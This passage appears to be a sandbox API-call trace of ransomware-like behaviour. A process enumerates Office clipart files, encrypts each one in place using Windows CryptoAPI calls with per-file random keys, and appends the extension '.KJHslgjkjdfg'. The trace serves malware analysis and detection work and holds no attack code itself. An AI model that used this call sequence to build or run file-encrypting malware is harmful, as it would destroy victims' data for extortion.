pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0193.409] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0193.409] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0193.412] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0193.413] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.413] GetProcessHeap () returned 0x2a0000 [0193.413] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0193.413] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30) returned 1 [0193.413] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0193.413] WriteFile (in: hFile=0x114, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f270*=0x30, lpOverlapped=0x0) returned 1 [0193.413] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0193.413] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0193.413] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0193.413] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0193.413] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0193.413] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0193.413] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.413] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.414] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xa16, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xa16, lpOverlapped=0x0) returned 1 [0193.414] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa20, dwBufLen=0xa20 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa20) returned 1 [0193.414] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.414] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xa20, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xa20, lpOverlapped=0x0) returned 1 [0193.414] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0193.414] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xae4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.414] SetEndOfFile (hFile=0x114) returned 1 [0193.416] GetProcessHeap () returned 0x2a0000 [0193.416] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0193.417] GetProcessHeap () returned 0x2a0000 [0193.417] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0193.417] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\whirl1.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL1.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\whirl1.wmf.kjhslgjkjdfg")) returned 1 [0193.428] CloseHandle (hObject=0x114) returned 1 [0193.428] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e5c1270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xb96, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WHIRL2.WMF", cAlternateFileName="")) returned 1 [0193.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\whirl2.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0193.429] GetProcessHeap () returned 0x2a0000 [0193.430] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0193.430] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0193.430] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0193.430] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0193.440] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0193.440] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.440] GetProcessHeap () returned 0x2a0000 [0193.440] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0193.440] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30) returned 1 [0193.440] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0193.440] WriteFile (in: hFile=0x114, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f270*=0x30, lpOverlapped=0x0) returned 1 [0193.440] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0193.441] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0193.441] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0193.441] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0193.441] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0193.441] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0193.441] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.441] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.441] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xb96, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xb96, lpOverlapped=0x0) returned 1 [0193.442] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xba0, dwBufLen=0xba0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xba0) returned 1 [0193.442] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.442] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xba0, lpOverlapped=0x0) returned 1 [0193.442] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0193.442] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xc64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.442] SetEndOfFile (hFile=0x114) returned 1 [0193.444] GetProcessHeap () returned 0x2a0000 [0193.445] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0193.445] GetProcessHeap () returned 0x2a0000 [0193.445] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0193.445] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\whirl2.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL2.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\whirl2.wmf.kjhslgjkjdfg")) returned 1 [0193.447] CloseHandle (hObject=0x114) returned 1 [0193.447] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e5c1270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xa16, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WING1.WMF", cAlternateFileName="")) returned 1 [0193.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wing1.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0193.449] GetProcessHeap () returned 0x2a0000 [0193.449] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0193.449] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0193.449] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0193.449] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0193.456] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0193.456] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.456] GetProcessHeap () returned 0x2a0000 [0193.456] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0193.456] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30) returned 1 [0193.456] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0193.456] WriteFile (in: hFile=0x114, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f270*=0x30, lpOverlapped=0x0) returned 1 [0193.456] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0193.457] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0193.457] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0193.457] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0193.457] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0193.457] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0193.457] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.457] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.457] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xa16, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xa16, lpOverlapped=0x0) returned 1 [0193.457] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa20, dwBufLen=0xa20 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa20) returned 1 [0193.457] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.457] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xa20, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xa20, lpOverlapped=0x0) returned 1 [0193.457] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0193.458] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xae4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.458] SetEndOfFile (hFile=0x114) returned 1 [0193.460] GetProcessHeap () returned 0x2a0000 [0193.460] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0193.460] GetProcessHeap () returned 0x2a0000 [0193.460] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0193.460] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wing1.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING1.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wing1.wmf.kjhslgjkjdfg")) returned 1 [0193.462] CloseHandle (hObject=0x114) returned 1 [0193.462] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x976, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WING2.WMF", cAlternateFileName="")) returned 1 [0193.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wing2.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0193.464] GetProcessHeap () returned 0x2a0000 [0193.464] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0193.464] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0193.464] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0193.464] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0193.467] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0193.467] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.467] GetProcessHeap () returned 0x2a0000 [0193.467] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0193.467] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30) returned 1 [0193.467] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0193.467] WriteFile (in: hFile=0x114, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f270*=0x30, lpOverlapped=0x0) returned 1 [0193.467] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0193.468] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0193.468] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0193.468] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0193.468] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0193.468] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0193.468] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.468] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.468] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x976, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x976, lpOverlapped=0x0) returned 1 [0193.468] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x980, dwBufLen=0x980 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x980) returned 1 [0193.468] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.468] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x980, lpOverlapped=0x0) returned 1 [0193.468] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0193.468] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xa44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.469] SetEndOfFile (hFile=0x114) returned 1 [0193.471] GetProcessHeap () returned 0x2a0000 [0193.471] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0193.471] GetProcessHeap () returned 0x2a0000 [0193.471] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0193.471] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wing2.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING2.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wing2.wmf.kjhslgjkjdfg")) returned 1 [0193.473] CloseHandle (hObject=0x114) returned 1 [0193.473] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1b03, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WNTER_01.MID", cAlternateFileName="")) returned 1 [0193.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0193.476] GetProcessHeap () returned 0x2a0000 [0193.476] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0193.476] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0193.476] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0193.476] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xd, lpOverlapped=0x0) returned 1 [0193.481] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0193.481] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.481] GetProcessHeap () returned 0x2a0000 [0193.481] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0193.481] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0193.481] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0193.481] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0193.481] WriteFile (in: 